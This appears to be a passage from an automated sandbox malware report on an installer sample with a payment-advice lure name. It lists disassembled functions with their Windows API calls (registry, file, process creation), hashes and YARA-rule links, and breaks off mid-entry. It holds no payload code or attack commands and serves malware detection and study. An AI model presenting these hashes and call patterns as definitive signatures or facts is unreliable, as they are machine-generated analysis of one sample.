APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 00406208

Strings

*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D80,?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D80,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409580,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409580,00409580,00000000,00000000,00409580,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNEL32(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A580,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,00436800,?,75922EE0,00405792,?,00436800,75922EE0,00434000), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405B85 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405BBE

Strings

nsa, xrefs: 00405B92

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
